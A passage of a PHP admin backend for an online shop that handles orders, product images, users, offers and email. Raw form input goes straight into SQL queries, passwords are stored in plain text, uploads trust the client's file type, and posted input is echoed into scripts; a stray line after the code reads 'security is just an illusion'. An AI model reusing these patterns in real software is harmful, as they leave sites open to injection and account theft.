		$obj = new dwr;
		
$id       = $_POST['id'];
$a        ="Dispatch";
$c = count($_POST['id']);             
for($i=0; $i<$c; $i++)
               {
               $id1 =$_POST['id'][$i];
			   $status =$a[$i];
               
 $table = 'order_details';
$f = array("type='Handover'");
$obj->update($table,$f,'id',$id1);
    }
  }
}
###############################################
  /*********** function  Update Shiping ***********/
###############################################

function edit_order_status2()
{
	if(isset($_POST['update_shiping']))
	{

		require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id         = $obj->validate($_POST['id']);
	$status     = $obj->validate($_POST['status']);
	//$track      = $obj->validate($_POST['track']);
	
	$table = 'order_details';

$f = array("type='$status'");
$obj->update($table,$f,'id',$id);

			echo '<div class="alert alert-success fade in">
                                <button data-dismiss="alert" class="close close-sm" type="button">
                                    <i class="fa fa-times"></i>
                                </button>
                                 <strong>Well done!</strong> Data Succesfully Update.
                            </div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
	}
}
	
###############################################
       /*********** function  Update Shiping ***********/
###############################################

function update_shiping()
{
	if(isset($_POST['update_shiping']))
	{
		require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id         = $obj->validate($_POST['id']);
	$status     = $obj->validate($_POST['status']);
	$track      = $obj->validate($_POST['track']);
	
	$table = 'order_details';
if($status='success')
{
	$f = array("shiping_status='$status'" ,"shiping_track_no='$track',type='Delivered'");
}else{
$f = array("shiping_status='$status'" ,"shiping_track_no='$track'");
}

$obj->update($table,$f,'id',$id);

				echo '<div class="alert alert-success fade in">
                                <button data-dismiss="alert" class="close close-sm" type="button">
                                    <i class="fa fa-times"></i>
                                </button>
                                 <strong>Well done!</strong> Data Succesfully Update.
                            </div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
	}
}
	
###############################################
       /*********** function  Add User ***********/
###############################################

function add_product()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
		require ('thumbnail.php');
		
		$ob = new database();
		$thumb = new thumbnail;
		$obj = new dwr;
	if(empty($_SESSION['6_letters_code'] ) ||
	  strcasecmp($_SESSION['6_letters_code'], $_POST['6_letters_code']) != 0)
	{
	//Note: the captcha code is compared case insensitively.
	//if you want case sensitive match, update the check above to
	// strcmp()
	
	echo	$errors .= '<div class="alert alert-dismissable alert-danger">
				<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> The captcha code does not match!
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
	}
	
	if(empty($errors))
	{		
$p_id = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyz0123456789"), 0, 8);

 $p_name        = $obj->validate($_POST['p_name']);
 $cat_id        = $obj->validate($_POST['cat']);
 /*$sub_cat_id    = $obj->validate($_POST['sub_cat']);*/
$type           = $obj->validate($_POST['type']);
$p_d            = $obj->validate($_POST['p_d']);
$follow_up      = $obj->validate($_POST['follow_up']);
 $status         ="Yes";

 $c_date        = date("d-m-Y");
$s_date         = date("Y-m-d");
$u_date         ="";

		$target = 'pro/';
		$target1 = 'pro/large/';
		$target2 = 'pro/thumb/';
		
	if (!is_dir($target))
		{
			mkdir($target);
		}
		if (!is_dir($target1))
		{
			mkdir($target1);
		}
		if (!is_dir($target2))
		{
			mkdir($target2);
		}
		 
		####################### CREATING THUMNAIL IMAGES ########################################

			   $c = count($_FILES['file']['name']);
			    
               for($i=0; $i<$c; $i++)
               {
				 if (($_FILES["file"]["type"] == "image/jpeg") ||
         ($_FILES["file"]["type"] == "image/png") ||
         ($_FILES["file"]["type"] == "image/pjpeg")) {
               $r = random_int(123456789, 1234567890);
               $pic ="".$r."-".$_FILES['file']['name'];
               $gon = "pro/".$pic;
               
               ####################### CREATING THUMNAIL IMAGES ########################################
       
               $file = $_FILES['file']['name'];
               $file = "".$r."-".$_FILES['file']['name'];
               
               /*THUMBNAIL */
               $path = "pro/".$file;
               $move = copy($_FILES['file']['tmp_name'],$path);
               $dest ="pro/large/".$file;
               $thumb->make_thumb($path,$dest,600,600);
               
			   $path = "pro/large/".$file;
               $move = copy($_FILES['file']['tmp_name'],$path);
               $dest ="pro/large/".$file;
               $thumb->make_thumb($path,$dest,72,86);
			   
               /*THUMBNAIL */
			     
			   $path1 = "pro/thumb/".$file;
               $move1 = copy($_FILES['file']['tmp_name'],$path);
               $dest ="pro/thumb/".$file;
               $thumb->make_thumb($path,$dest,300,300); 
			   
               ####################### CREATING THUMNAIL IMAGES ########################################
 
$f = array('p_id','p_name','cat_id','p_d','p_image','c_date','u_date','type','status','follow_up');
$v = array($p_id,$p_name,$cat_id,$p_d,$pic,$s_date,$u_date,$type,$status,$follow_up);

$obj->insert('product',$f,$v);

$iid = mysql_insert_id();
}
		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
			/*echo '<script>window.parent.location.href="add_product_image.php?p_id='.$p_id.	'"; </script>';*/
 		}
		else {
			echo '<div class="alert alert-dismissable alert-danger">
				<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
			}
	}} }
}
###############################################
   /*********** function  Edit Product ***********/
###############################################

function edit_product()
{
	if(isset($_POST['submit']))
	{
        require('functions.php');
		require ('thumbnail.php');
		$ob = new database();
		$thumb = new thumbnail;
		$obj = new dwr;
if(empty($_SESSION['6_letters_code'] ) ||
	  strcasecmp($_SESSION['6_letters_code'], $_POST['6_letters_code']) != 0)
	{
	//Note: the captcha code is compared case insensitively.
	//if you want case sensitive match, update the check above to
	// strcmp()
	echo	$errors .= '<div class="alert alert-dismissable alert-danger">
				<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> The captcha code does not match!
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
	}
	
	if(empty($errors))
	{
	 $id   = $_POST['id'];
	$p_id = $_POST['p_id'];
		 
$cat             = $_POST['cat'];
/*$sub_cat         = $_POST['sub_cat'];*/
$p_name          = $_POST['p_name'];
$p_d             = $_POST['p_d'];
$type            = $_POST['type'];
$follow_up       = $_POST['follow_up'];
$u_date          = date("d-m-Y");
$c_date          = date("d-m-Y");
if (($_FILES["file"]["type"] == "image/jpeg") ||
         ($_FILES["file"]["type"] == "image/png") ||
         ($_FILES["file"]["type"] == "image/pjpeg")) 
		 {
if(!empty($_FILES['file']['name']))
       {
	 
		 $target = 'pro/';
		$target1 = 'pro/large/';
		$target2 = 'pro/thumb/';
		
		####################### CREATING THUMNAIL IMAGES ########################################
			  
               $r = random_int(123456789, 1234567890);
               $pic ="".$r."-".$_FILES['file']['name'];
               $gon = "pro/".$pic;
               
               ####################### CREATING THUMNAIL IMAGES ########################################
               $file = $_FILES['file']['name'];
               $file = "".$r."-".$_FILES['file']['name'];
               
               /*THUMBNAIL */
               $path = "pro/".$file;
               $move = copy($_FILES['file']['tmp_name'],$path);
               $dest ="pro/large/".$file;
               $thumb->make_thumb($path,$dest,600,600);
               
			   $path = "pro/large/".$file;
               $move = copy($_FILES['file']['tmp_name'],$path);
               $dest ="pro/large/".$file;
               $thumb->make_thumb($path,$dest,72,86);
			   
               /*THUMBNAIL */
			   $path1 = "pro/thumb/".$file;
               $move1 = copy($_FILES['file']['tmp_name'],$path);
               $dest ="pro/thumb/".$file;
               $thumb->make_thumb($path,$dest,300,300); 
			   
               ####################### CREATING THUMNAIL IMAGES ########################################
	
$f = array("p_image='$pic'");
$obj->update('product',$f,'id',$id);
  
	   }
}
$f = array("cat_id='$cat',p_name='$p_name',p_d='$p_d',u_date='$u_date',type='$type',follow_up='$follow_up'");

		$obj->update('product',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
		 }
	else {        echo '<div class="alert alert-block alert-danger fade in">
                                <button data-dismiss="alert" class="close close-sm" type="button">
                                    <i class="fa fa-times"></i>
                                </button>
                                 <strong>Oooops!!!</strong> Something Went Wrong..!!
                            </div>';
							 }
	
}
}
 //####################################################
//*****************************************************

 function add_user()
{
	if(isset($_POST['submit']))
	{
       require('functions.php');
       $ob = new database();
       $obj = new dwr;

if(empty($_SESSION['6_letters_code'] ) ||
	  strcasecmp($_SESSION['6_letters_code'], $_POST['6_letters_code']) != 0)
	{
	//Note: the captcha code is compared case insensitively.
	//if you want case sensitive match, update the check above to
	// strcmp()
		$errors .= "\n The captcha code does not match!";
	}
	
	if(empty($errors))
	{
	
$username           = "";
$password           = "";
$c_name             = $obj->validate($_POST['c_name']);
$u_name             = $obj->validate($_POST['u_name']);
$email              = $obj->validate($_POST['email']);
$c_no               = $obj->validate($_POST['c_no']);
$address            = $obj->validate($_POST['address']);
$countary           = $obj->validate($_POST['countary']);
$city               = $obj->validate($_POST['city']);

$status             ='No';
$c_date             = date("Y-m-d");
$u_date             = "";

$email  =  mysql_real_escape_string($_POST['email']);
$check =  mysql_query("SELECT  `email` FROM `add_user` WHERE  `email`='$email' "); 
if(mysql_num_rows($check)>0)
{
echo '<div class="alert alert-block alert-danger fade in">
                               <button data-dismiss="alert" class="close close-sm" type="button">
                                   <i class="fa fa-times"></i>
                               </button>
                                <strong>Oooops!</strong> This Email is alreday exist in database.
                           </div>';
 }
 else
{
$f = array('c_name','u_name', 'email','c_no','address','countary','city','c_date','u_date','status');
$v = array($c_name,$u_name,$email,$c_no,$address,$countary,$city,$c_date,$u_date,$status);

$obj->insert('add_user',$f,$v);
$iid = mysql_insert_id();
}
		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
			}
		else {
 			echo '<div class="alert alert-dismissable alert-danger">
				  <i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
 			}
         }
	  }
   }
###############################################
   /*********** function  Edit user ***********/
###############################################

function edit_user()
{
	if(isset($_POST['submit']))
	{
		
        require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id = $_POST['id'];
		 
$c_name         = $_POST['c_name'];
$u_name         = $_POST['u_name'];
$email          = $_POST['email'];
$c_no           = $_POST['c_no'];
$address        = $_POST['address'];
$countary       = $_POST['countary'];
$city           = $_POST['city'];
$sub            = $_POST['sub'];
$query          = $_POST['query'];
$u_date         = date("d-m-Y");
 
$f = array("c_name='$c_name',u_name='$u_name',email='$email',c_no='$c_no',u_date='$u_date',address='$address',countary='$countary',city='$city',sub='$sub',queri='$query'");

		$obj->update('add_user',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
							echo '<script>window.parent.location.href="view_user.php"; </script>';
	}
}	 
###############################################
   /*********** function  Edit Assign Password ***********/
###############################################

function assign_p()
{
	if(isset($_POST['submit']))
	{
 require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id = $_POST['id'];
		 
$username         = $_POST['username'];
$password         = $_POST['password'];

$u_date          = date("d-m-Y");
 
$f = array("username='$username',password='$password'");

		$obj->update('add_user',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
							echo '<script>window.parent.location.href="view_user.php"; </script>';
	}
}	 
###############################################
       /*********** function  Add User ***********/
###############################################

function add_aoffer()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
			$ob = new database();
				$obj = new dwr;
		
	$p_id          = $obj->validate($_POST['p_name']);
	$cat_id        = $obj->validate($_POST['cat']);
	$sub_cat_id    = $obj->validate($_POST['sub_cat']);
	$usub_cat_id   = $obj->validate($_POST['under_sub_cat']);
	$seller_id     = $obj->validate($_POST['seller_id']);
	$offer_id      = $obj->validate($_POST['offer_id']);
   $status         ="No";

 $c_date        = date("d-m-Y");
$s_date         = date("Y-m-d");
$u_date         ="";

$f = array('p_id','cat_id','sub_cat_id','usub_cat_id','seller_id','offer_id','c_date','s_date','u_date');
$v = array($p_id,$cat_id,$sub_cat_id,$usub_cat_id,$seller_id,$offer_id,$c_date,$s_date,$u_date);

$obj->insert('aoffer',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true"></button>
					</div>';
			
		}
		else {
			
			echo '<div class="alert alert-dismissable alert-danger">
					<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
			}
			
		$c = count($_POST['p_name']);
               for($i=0; $i<$c; $i++)
               {
                       $mm = $_POST['p_name'][$i];
                       $ob->query("SELECT * FROM product WHERE id='$mm'");
                       foreach($ob->rows() as $data1)
               {
                       $mm_id = $data1['id'];
                       $c_date      = date("d-m-Y");
                        
       $f = array('p_id', 'seller_id','c_date');
       $v = array($mm_id, $seller_id,$c_date);
       
       $obj->insert('offer_p',$f,$v);
    }
   }
 }
}

###############################################
       /*********** function  Edit Product ***********/
###############################################

function edit_aoffer()
{
 	if(isset($_POST['submit']))
	{
 
require('functions.php');
		$ob = new database();
		$obj = new dwr;

	$id = $_POST['id'];
		 
 $cat             = $_POST['cat'];
 $sub_cat         = $_POST['sub_cat'];
 $under_sub_cat   = $_POST['under_sub_cat'];
 $p_name          = $_POST['p_name'];
 $p_d             = $_POST['p_d'];
 $u_date          = date("d-m-Y");
 $seller_id       = $obj->validate($_POST['seller_id']);

$f = array("cat_id='$cat',sub_cat_id='$sub_cat',usub_cat_id='$under_sub_cat',p_name='$p_name',p_d='$p_d',seller_id='$seller_id',u_date='$u_date'");


		$obj->update('aoffer',$f,'id',$id);
		
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> Data Update successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
							echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
 	}
}

#####################################################################3
########################################################################
function add_product_image()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
		require ('thumbnail.php');
		
		$ob = new database();
		$thumb = new thumbnail;
		$obj = new dwr;

$p_id      = $obj->validate($_POST['p_name']);
//$p_name = $obj->validate($_POST['p_name']);
$s_date    = date("Y-m-d");
$c_date    = date("d-m-Y");
$u_date    ="";

		$target = 'dr/';
		$target1 = 'dr/large/';
		$target2 = 'dr/thumb/';
		
	if (!is_dir($target))
		{
			mkdir($target);
		}
		if (!is_dir($target1))
		{
			mkdir($target1);
		}
		if (!is_dir($target2))
		{
			mkdir($target2);
		}
		 
		####################### CREATING THUMNAIL IMAGES ########################################

			   $c = count($_FILES['file']['name']);
               for($i=0; $i<$c; $i++)
               {
               $r = random_int(123456789, 1234567890);
               $pic ="".$r."-".$_FILES['file']['name'][$i];
               $gon = "dr/".$pic;
               
               ####################### CREATING THUMNAIL IMAGES ########################################
       
               $file = $_FILES['file']['name'][$i];
               $file = "".$r."-".$_FILES['file']['name'][$i];
               
               /*THUMBNAIL */
               $path = "dr/".$file;
               $move = copy($_FILES['file']['tmp_name'][$i],$path);
               $dest ="dr/large/".$file;
               $thumb->make_thumb($path,$dest,600,600);
               
			   $path = "dr/large/".$file;
               $move = copy($_FILES['file']['tmp_name'][$i],$path);
               $dest ="dr/large/".$file;
               $thumb->make_thumb($path,$dest,72,86);
			   
               /*THUMBNAIL */
			     
			   $path1 = "dr/thumb/".$file;
               $move1 = copy($_FILES['file']['tmp_name'][$i],$path);
               $dest ="dr/thumb/".$file;
               $thumb->make_thumb($path,$dest,300,300); 
			   
               ####################### CREATING THUMNAIL IMAGES ########################################
                       
$f = array('p_id','p_image','c_date','u_date');
$v = array($p_id,$pic,$s_date,$u_date);

$obj->insert('product_image',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-success fade in">
                                <button data-dismiss="alert" class="close close-sm" type="button">
                                    <i class="fa fa-times"></i>
                                </button>
                                 <strong>Well done!</strong> Data Succesfully Added.
                            </div>';
			/*echo '<script>window.parent.location.href="add_product_size.php?p_id='.$p_id.'"</script>';*/
		}
		else {
			
		echo '<div class="alert alert-dismissable alert-danger">
					<i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
			}
       }
	}
}

////////////////////////////////////////////////
############ Edit Product Image #################
#################################################

function edit_product_image()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
		require ('thumbnail.php');

		$ob = new database();
		$thumb = new thumbnail;
		$obj = new dwr;
				
	$id         = $_POST['id'];
	$file         = $_POST['file'];	

 $p_id          = $_POST['p_name'];
 $table         ='product_image';
	if(!empty($_FILES['file']['name']))
		{
		
		$target = 'dr/';
		$target1 = 'dr/large/';
		$target2 = 'dr/thumb/';
		
		if (!is_dir($target))
		{
			mkdir($target);
		}
		if (!is_dir($target1))
		{
			mkdir($target1);
		}
		if (!is_dir($target2))
		{
			mkdir($target2);
		}
		$files = $_FILES['file']['name'];
		
		$r = random_int(123456789, 1234567890);
		$pic = $r.$files;
		$gon = "dr/".$pic;
		$move = copy($_FILES['file']['tmp_name'],$gon);
		
		$ob->query("SELECT * FROM product_image WHERE id='$id'");
			 foreach($ob->rows() as $data1)
			 {
				unlink("dr/".$data1['p_image']);
				unlink("dr/large/".$data1['p_image']);
				unlink("dr/thumb/".$data1['p_image']); 
			}	
		$thumb->make_thumb($gon);
		####################### CREATING THUMNAIL IMAGES ######################################## 
	
		/*THUMBNAIL */
		$file = $r.$_FILES['file']['name'];
		$path = "dr/large/".$file;
		$move = copy($_FILES['file']['tmp_name'],$path);
		
		$dest ="dr/large/".$file;
		$thumb->make_thumb($path,$dest,600,600);
		
		
		/*THUMBNAIL */
		$path1 = "dr/thumb/".$file;
		$move1 = copy($_FILES['file']['tmp_name'],$path1);
		
		$dest ="dr/thumb/".$file;
		$thumb->make_thumb($path1,$dest,300,300);

		$f = array("p_image='$pic'");
		$obj->update($table,$f,'id',$id);
		}
		
	
		####################### CREATING THUMNAIL IMAGES ########################################


			echo '<div class="alert alert-success fade in">
                                <button data-dismiss="alert" class="close close-sm" type="button">
                                    <i class="fa fa-times"></i>
                                </button>
                                 <strong>Well done!</strong> Data Succesfully Updated.
                            </div>';
			echo '<script type="text/javascript">alert("Data Succesfully Update.")</script>';
							echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';
			
		}

}

 ###############################################
  /*********** function  Offer Apply***********/
###############################################

function send_mail()
{
	if(isset($_POST['submit']))
	{
		require('functions.php');
			$ob = new database();
				$obj = new dwr;
	
	 $id      = $_POST['id'];	
 
  $email        = $obj->validate($_POST['email']);
  $desc        = $obj->validate($_POST['desc']);
  $status         ="Yes";

 $c_date        = date("d-m-Y");

$f = array('email_id');
$v = array($email);

//$obj->insert('email',$f,$v);
$iid = mysql_insert_id();


################################################## SEND email ######################################################
  $to = $email;
         $subject = "Information";
         
         $message = '<html>  <link href="css/style.css" rel="stylesheet" type="text/css" /> <body>';
$message .= '<table width="600" border="0" cellpadding="5" cellspacing="5" bordercolor="#FFFFFF" style="border:#412E28 2px solid;">' ;
$message .= '<tr>
     <td bgcolor="#FFFF01"><b>Successfully Send Ruby Aromaticsmultiproduct.com</b> </td>
	 </tr>' ;
$message .= '<tr>
    <td bgcolor="#FFFFFF">
Ruby Aromatics Multi Product.<br>Your Information Is</td>
  </tr>' ;
 $message .= '<tr>
    <td bgcolor="#FFFFFF"><b>Information :' . strip_tags($_POST['desc']) .'</b> </td>
  </tr>' ;

 
$message .= '
                ' ;
	 $message .= '' ;
$message .= '<tr>
<td bgcolor="#FFFFFF"><p>Wishing You All the Best.<br />
Use This Information For Shopping Product.
  <br />
        <br />
        <strong>Ruby Aromatics Multi Product</strong> </td>
    </tr>
<tr>
  <td height="15" bgcolor="#B74900"></td>
  </tr>
' ;

$message .= '</table>';
$message .= "</body></html>";
         
         $header = "From:Ruby Aromaticsmultiproduct.COM \r\n";
         $header .= "Cc:info@Ruby Aromaticsmultiproducts.com \r\n";
         $header .= "MIME-Version: 1.0\r\n";
         $header .= "Content-type: text/html\r\n";
         
         $retval = mail ($to,$subject,$message,$header);
         
         if( $retval == true ) {
            echo "Message sent successfully...";
         }else {
            echo "Message could not be sent...";
         }
################################################## SEND email ######################################################
echo '<script>window.parent.location.href="view_user.php?rid='.$_POST['email'].'"; </script>';
################################################## SEND email ######################################################
         /* echo '<script type="text/javascript">parent.jQuery.fancybox.close();</script>';*/
		  }
	}

?>

security is just an illusion